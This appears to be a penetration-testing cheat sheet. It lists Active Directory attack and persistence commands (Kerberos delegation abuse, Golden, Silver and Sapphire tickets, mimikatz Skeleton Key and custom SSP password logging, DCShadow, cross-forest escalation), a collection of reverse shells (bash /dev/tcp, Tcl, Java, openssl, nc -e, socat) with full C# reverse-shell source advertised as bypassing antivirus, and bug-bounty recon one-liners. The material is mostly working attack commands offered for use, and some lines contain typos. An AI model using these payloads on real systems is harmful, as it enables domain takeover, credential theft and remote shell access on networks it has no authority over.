getST.py -spn 'cifs/serviceB.domain.local' -impersonate administrator -hashes ':<ServiceA_NThash>' -dc-ip <DC_IP> domain.local/ServiceA$

#S4UProxy from B to C with the obtained TGS as evidence
getST.py -spn 'cifs/serviceC.domain.local' -additional-ticket ./administrator.ccache -hashes ':<ServiceB_NThash>' -dc-ip <DC_IP> domain.local/ServiceB$

U2U RBCD with SPN-less accounts

In case where you have sufficient rights to configure an RBCD on a machine (for example with an unsigned authentication coerce via HTTP) but ms-ds-machineaccountquota equals 0, there is no ADCS with the HTTP endpoint and the Shadow Credentials attack is not possible (domain level to 2012 for example), you can realize a RBCD from a SPN-less user account. An interesting example is present here.

getTGT.py -hashes :$(pypykatz crypto nt 'password') 'domain.local'/'user1'
describeTicket.py 'user1.ccache' | grep 'Ticket Session Key'
smbpasswd.py -newhashes :sessionKey 'domain.local'/'user1':'password'@'DC'
KRB5CCNAME='user1.ccache'
getST.py -k -no-pass -u2u -impersonate "Administrator" -spn "cifs/target.domain.local" 'domain.loca'/'user1'

RBCD from MSSQL server

If we have sufficient access to a MSSQL server we can use the xp_dirtree in order to leak the Net-NTLM hash of the machine account. Additionally, the Web Service client must be running on the machine in order to trick the authentication from SMB to HTTP and avoid the NTLM signature (authentication must be sent to @80):

#Add the DNS
python3 dnstool.py -u 'domain.local\user1' -p 'password' -r 'attacker.domain.local' -d '<attacker_IP>' --action add <DC_IP>

#On our machine, waiting for the leak
#https://gist.github.com/3xocyte/4ea8e15332e5008581febdb502d0139c
python rbcd_relay.py 192.168.24.10 domain.local 'target$' <controlledAccountWithASPN>

#ON the MSSQL server
SQLCMD -S <MSSQL_instance> -Q "exec master.dbo.xp_dirtree '\\attacker@80\a'" -U Admin -P Admin

#After the attack, ask for a TGS with full S4U
getST.py -spn cifs/target.domain.local -impersonate admininistrator -dc-ip <DC_IP> domain.local/<controlledAccountWithASPN>password

Domain Persistence

Sapphire Ticket

Similar to Diamond Ticket, but instead of decipher, modify, recipher and resign the PAC on the fly, this technique inject a fully new one PAC obtained via a S4USelf + U2U attack in the requested ticket. Full explains here.

ticketer.py -request -impersonate 'Administrator' -domain 'domain.local' -user 'user1' -password 'password' -aesKey 'krbtgt_AES_key' -domain-sid '<domain_SID>' 'blabla'

Diamond Ticket

Blog here

For the moment, the ticketer.py approach is not really attractive and the Sapphire Ticket attack is preferable, or use Rubeus on Windows.

Golden Ticket

Dump krbtgt hash with DCSync

secretsdump.py -just-dc-user 'krbtgt' -just-dc-ntlm domain.local/administrator:password@<DC>

Create TGT

ticketer.py -domain domain.local -domain-sid <domain_SID> -nthash <krbtgt_hash> -user-id <target_RID> -duration <ticket_lifetime_in_day> <target_user>

Silver Ticket

ticketer.py -domain domain.local -domain-sid <domain_SID> -spn 'cifs/target' -nthash <krbtgt_hash> -user-id <target_RID> -duration <ticket_lifetime_in_day> <target_user>

Skeleton Key

crackmapexec smb <DC_IP> -u 'Administrator' -p 'password' -M mimikatz -o COMMAND='misc::skeleton'

Now, it is possible to access any machine with a valid username and password as "mimikatz"

DSRM

Dump DSRM password

crackmapexec smb <DC_IP> -u user1 -p password --sam

Change registry configuration

Need to change the logon behavior before pass the hash

reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'DsrmAdminLogonBehavior' -vd 2 -vt REG_DWORD

Now the DSRM hash ca be used to authenticate

Custom SSP

SSP are DDLs that provide ways to authenticate for the application. For example Kerberos, NTLM, WDigest, etc. Mimikatz provides a custom SSP that permits to log in a file in clear text the passwords of the users that authenticate on the machine.

crackmapexec smb <target> -u user1 -p password -M mimikatz -o COMMAND='misc::memssp'

Upload the mimilib.dll to system32 and add mimilib to HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages :

#Retrieve the actual values of Security Package
reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local query -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -s

#Append mimilib to the previous list
reg.py -dc-ip <DC_IP> 'domain.local'/'Administrator':'password'@dc.domain.local add -keyName 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\' -v 'Security Packages' -vd "<list> mimilib" -vt REG_MULTI_SZ

ACLs - AdminSDHolder

AdminSDHolder is a solution that compares the ACLS of the objects with AdminCount=1 with a list of ACLs. If the ACLs of the objects are different, they are overwritten. The script run normally every hour.

Attack

dacledit.py -action write -target-dn 'CN=AdminSDHolder,CN=System,DC=DOMAIN,DC=LOCAL' -principal user1 -rights FullControl -ace-type allowed -dc-ip <DC_IP> 'domain.local'/'administrator':'password'

Check Domain Admin ACLs

dacledit.py -action read -target "Domain Admins" -principal user1 -dc-ip <DC_IP> domain.local/user1:password

ACLs - Interesting rights

The ACLs can be used for persistence purpose by adding interesting rights like DCSync, FullControl over the domain, etc. Check the On any objects in the ACLs attacks section.

Cross-Trust Movement

Child To Parent Domain

Escalate from a child domain to the root domain of the forest by forging a Golden Ticket with the SID of the Enterprise Admins group in the SID history field.

With the krbtgt hash

#The new Golden Ticket will be written at the path specified in -w
raiseChild.py -w ./ticket.ccache child.domain.local/Administrator:password

#Dump the Administrator's hash of the root domain
raiseChild.py child.domain.local/Administrator:password

#PSEXEC on a machine
raiseChild.py -target-exec <target> child.domain.local/Administrator:password

Across Forest - Inbound trust

Get the Trust Key

secretsdump.py domain.local/Administrator:password@<DC>

Get the ForeignSecurityPrincipal

#These SIDs can access to the target domain
ldeep ldap -u user1 -p password -d domain.local -s <target_LDAP_server_IP> search '(objectclass=foreignSecurityPrincipal)' | jq '.[].objectSid'

#The found SID can be search in the current forest
ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> search '(objectSid=<object_SID>)'

Forge the inter-forest TGT

ticketer.py doesn't work really well with Inter-Realm TGT, it's preferable to use Mimikatz for this.

ticketer.py -domain domain.local -domain-sid <domain_SID> -extra-sid <target_domain_SID> -aesKey <aes_trust_key> -user-id <target_RID> <target_user>
export KRB5CCNAME=./ticket.ccache

Get a TGS

getST.py -k -no-pass -spn CIFS/dc.targetDomain.local -dc-ip <target_DC_IP> targetDomain.local/user

Across Forest - PAM Trust

The goal is to compromise the bastion forest and pivot to the production forest to access to all the resources with a Shadow Security Principal mapped to a high priv group.

Check if the current forest is a bastion forest

Enumerate trust properties

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts

Enumerate shadow security principals

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> search '(distinguishedName=*Shadow Principal Configuration*)' |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"'

Check if the current forest is managed by a bastion forest

ForestTransitive must be true

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> trusts

A trust attribute of 1096 is for PAM (0x00000400) + External Trust (0x00000040) + Forest Transitive (0x00000008).

Get the shadow security principals

ldeep ldap -u user1 -p password -d domain.local -s <LDAP_server_IP> object "Shadow Principal Configuration" -v |jq '.[].name, .[].member, .[]."msDS-ShadowPrincipalSid"'

These users can access the production forest through the trust with classic workflow (PSRemoting, RDP, etc), or with SIDHistory injection since SIDFiltering in a PAM Trust.

Forest Persistence - DCShadow

MUST BE TESTED MORE CORRECTLY

The attack needs 2 instances on the compromised machine.

crackmapexec smb <target> -u Administrator -p password -M mimikatz -o COMMAND='"token::elevate" "privilege::debug" "lsadump::dcshadow /object:<object_to_modify> /attribute:<attribute_to_modify> /value=<value_to_set>"'
crackmapexec smb <target> -u Administrator -p password -M mimikatz -o COMMAND='lsadump::dcshadow /push' --server-port 8080

Set interesting attributes

Set SIDHistory to Enterprise Admin

lsadump::dcshadow /object:user1 /attribute:SIDHistory /value:<domain_SID>-519

Modify primaryGroupID

lsadump::dcshadow /object:user1 /attribute:primaryGroupID /value:519

Set a SPN on an user

lsadump::dcshadow /object:user1 /attribute:servicePrincipalName /value:"Legitime/User1"

References

Reverse shells

Listener

Before any reverse shell, you need to set up the listener, which will listen to a port and receive connections :

nc -lvvp <PORT>

Bash

In TCP :

bash -i >& /dev/tcp/<IP>/<PORT> 0>&1

exec 5<>/dev/tcp/<IP>/<PORT>;cat <&5 | while read line; do $line 2>&5 >&5; done

exec /bin/sh 0</dev/tcp/<IP>/<PORT> 1>&0 2>&0

0<&196;exec 196<>/dev/tcp/<IP>/<PORT>; sh <&196 >&196 2>&196

 

TCLsh

#!/usr/bin/tclsh
set s [socket <IP> <PORT>];
while {42} {
puts -nonewline $s "shell>";
flush $s;
gets $s c;
set e "exec $c";
if {![catch {set r [eval $e]} err]} {
puts $s $r;
}
flush $s;
}
close $s;

One-liner version :

echo 'set s [socket <IP> <PORT>];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh

 

 

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5< >/dev/tcp/<IP>/<PORT>;cat <& 5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

 

On PWN'd Client

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect <IP>:<PORT> > /tmp/s; rm /tmp/s

 

C#

This is a simple C# source code to bypass almost "all" AVs (kaspersky v19, Eset v12 v13, Trend-Micro v16, Comodo and Windows Defender bypassed via this very simple method)

Step 1 (Linux Side:192.168.56.1)   : nc -l -p 443 

Step 2 (Windows Side:192.168.56.x) : NativePayload_ReverseShell.exe 192.168.56.1 443

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Net.Sockets;
using System.Threading;
using System.IO;
using System.Diagnostics;

namespace NativePayload_ReverseShell
{
    class Program
    {
        public static StringBuilder _Liger = new StringBuilder();
        private static StreamWriter _LionTiger;
        static void Main(string[] args)
        {
	    //// Step 1 (linux Side:192.168.56.1)   : nc -l -p 443 
	    //// Step 2 (Windows Side:192.168.56.x) : NativePayload_ReverseShell.exe 192.168.56.1 443 

 	    Console.WriteLine();
            Console.ForegroundColor = ConsoleColor.DarkGray;
            Console.WriteLine("NativePayload_ReverseShell , Published by Damon Mohammadbagher , 2018");
            Console.ForegroundColor = ConsoleColor.Gray;
            Console.WriteLine("NativePayload_ReverseShell , C# Managed Shell Code (Reverse Shell)");
            Console.WriteLine();

            try
            {
                using (TcpClient Simple = new TcpClient(args[0].ToString(), Convert.ToInt32(args[1])))
                {
                    Thread.Sleep(1100);
                    using (Stream Very = Simple.GetStream())
                    {
                        using (StreamReader OoPS = new StreamReader(Very))
                        {
                            _LionTiger = new StreamWriter(Very);
                            Process _Tiger = new Process();
                            Thread.Sleep(3300);
                            _Tiger.StartInfo.FileName = Convert.ToString("0123456789CmD" + "." + "e" + "XE l;X E f k X  E sgkf;sk X  E f s ; xefs;s").Substring(10, 8);
                            _Tiger.StartInfo.CreateNoWindow = true;
                            _Tiger.StartInfo.UseShellExecute = false;
                            _Tiger.OutputDataReceived += _OutputDataReceived;
                            _Tiger.StartInfo.RedirectStandardOutput = true;
                            _Tiger.StartInfo.RedirectStandardInput = true;
                            _Tiger.StartInfo.RedirectStandardError = true;
                            _Tiger.Start();
                            _Tiger.BeginOutputReadLine();
                            while (true)
                            {
                                Thread.Sleep(3000);
                                _Liger.Append(OoPS.ReadLine());
                                _Tiger.StandardInput.WriteLine(_Liger);
                                _Liger.Remove(0, _Liger.Length);
                            }
                        }
                    }

                }
            }
            catch (Exception) {  }
        }

        private static void _OutputDataReceived(object sender, DataReceivedEventArgs echo)
        {
            StringBuilder strOutput = new StringBuilder();

            if (!String.IsNullOrEmpty(echo.Data))
            {
                try
                {
                    strOutput.Append(echo.Data);
                    _LionTiger.WriteLine(strOutput);
                    _LionTiger.Flush();
                }
                catch (Exception err) { }
            }
        }
    }
}

 

Reverse Powershell

#32bit
nc.exe $ATTACKER_HOST $ATTACKER_PORT -e powershell

#64bit nc64.exe $ATTACKER_HOST $ATTACKER_PORT -e powershell

Reverse Windows

#32bit
nc.exe $ATTACKER_HOST $ATTACKER_PORT -e cmd
#64bit
nc64.exe $ATTACKER_HOST $ATTACKER_PORT -e cmd

Bind Powershell

#32bit
nc.exe -l -p $LISTENPORT -e powershell
#64bit
nc64.exe -l -p $LISTENPORT -e powershell

 

Spawning TTY Shells

Shell Spawning

Python

python -c 'import pty; pty.spawn("/bin/sh")'
python3 -c 'import pty; pty.spawn("/bin/sh")'

Bash

echo os.system('/bin/bash')
/bin/sh -i

Perl

perl —e 'exec "/bin/sh";'
perl: exec "/bin/sh";

Ruby

ruby: exec "/bin/sh"

LUA

lua: os.execute('/bin/sh')

From Within IRB

exec "/bin/sh"

Inside vi

:!bash
:set shell=/bin/bash:shell

Nmap <=5.21

nmap -V
nmap --interactive
!sh

Socat

# Listener

socat file:`tty`,raw,echo=0 tcp-listen:4444

# Victim

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444

 

STTY Options

In Reverse Shell

$ python -c 'import pty; pty.spawn("/bin/bash")'
Ctrl-Z

In Kali

$ stty raw -echo
$ fg
press enter

In Reverse Shell

$ reset
$ export SHELL=bash
$ export TERM=xterm-256color
$ stty rows <num> columns <cols>
sh -r 
rsh

rbash
bash -r
bash --restricted

rksh
ksh -r

 

 

 

Bug Bounty

Obtain subdomains and links from the target host:

for h in $(cat hosts.txt); do curl -siL https://$h|egrep -io "[0-9a-z_\-\.]+\.([0-9a-z_\-]+)?`echo $h|awk -F '.' '{print $(NF-1)}'`([0-9a-z_\-\.]+)?\.[a-z]{1,5}"|sort -fu ; done

Obtain subdomain and V-host enumeration:

gobuster dns -r 8.8.8.8 --wildcard -d targetdomain.com -t 50 -c -i -w ~/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -z -q > tmp.txt && cat tmp.txt | cut -d' ' -f2 | sort -u > subs.txt && cat tmp.txt | cut -d' ' -f3 | tr -d '[]' | sort -u -V > hosts.txt

Obtain subdomains using Crt.sh:

curl -s https://dns.bufferover.run/dns?q=.targetdomain.com |jq -r .FDNS_A[]|cut -d',' -f2|sort -u

Obtain subdomains using WebArchive:

curl -s "http://web.archive.org/cdx/search/cdx?url=*.targetdomain.com/*&output=text&fl=original&collapse=urlkey" |sort| sed -e 's_https*://__' -e "s/\/.*//" -e 's/:.*//' -e 's/^www\.//' | uniq

Obtain subdomains using Hackertarget:

curl https://api.hackertarget.com/hostsearch/?q=targetdomain.com | grep -o '\w.*targetdomain.com'

Enumerate hosts from SSL certificates:

echo | openssl s_client -connect https://targetdomain.com:443 | openssl x509 -noout -text | grep DNS

Finding site endpoints using CommonCrawl:

echo "targetdomain.com" | xargs -I domain curl -s "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.domain&output=json" | jq -r .url | sort -u

Grab titles of webpages:

for i in $(cat Webservers.txt ); do echo "$i | $(curl --connect-timeout 0.5 $i -so - | grep -iPo '(?<=<title>)(.*)(?=</title>)')"; done 

netcat scanner for HTTP servers:

for i in $(seq 1 255); do nc -n -v -z "192.168.1.$i" 80 | grep "open"; done | tee webservers.txt

Manually perform a HTTP request:

 # Manually perform a HTTP Get Request
echo -ne "GET / HTTP/1.0\n\n" | nc www.redspin.com 80

# Manually perform a HTTP Get Request on a SSL Port
echo -ne "GET / HTTP/1.0\n\n" | socat – OPENSSL:www.website.com:443,verify=0

Create a local TCP pipe to a remote SSL port (to allow netcat to probe a SSL service):

socat -vd TCP-LISTEN:8888,fork OPENSSL:www.redspin.com:443,verify=0

Perform a check on a list of webservers (HTTP or HTTPS): HOST:PORT -> HOST:PORT | WEB SERVER | HTML Title:

cat webservers.txt | xargs -P10 -I'{}' bash -c '(curl -Liks -m2 "https://{}" || curl -Liks -m2 "{}") | grep -iao -e "^Server: .*" -e "" | sed "s#Server: \(.*\)#|\1|#i;s###ig" | tr -d "\r\n" | sed "1s/^/{}/;\$a\\" | sed "s/^\([^|]*\)|$/\1||/"' | tee webserver_info.txt

Check if Trace is enabled on a given website:

echo -ne "TRACE /something HTTP/1.0\nX-Header: Trace Enabled\n\n" | socat - OPENSSL:www.website.com:443,verify=0

Simple HTTPS (SSL) Listener with a bad self-signed server certificate:

echo -ne "\n\n\n\n\n\n\n" | openssl req -new -newkey rsa:1024 -days 1 -nodes -x509 -keyout out.pem -out out.pem ; openssl s_server -cert out.pem -www

Printing IP addresses of scope + some magic:

# Sort by IP Addresses
sort -n -t. -k1,1 -k2,2 -k3,3 -k4,4

# Print IP addresses in a file
egrep -o '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}'

#Print IP address in all files in the current directory tree with some pretty color matching
find . -type f -exec egrep -a -H -n --color=auto '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}' {} \;

 

 

 


By Boschko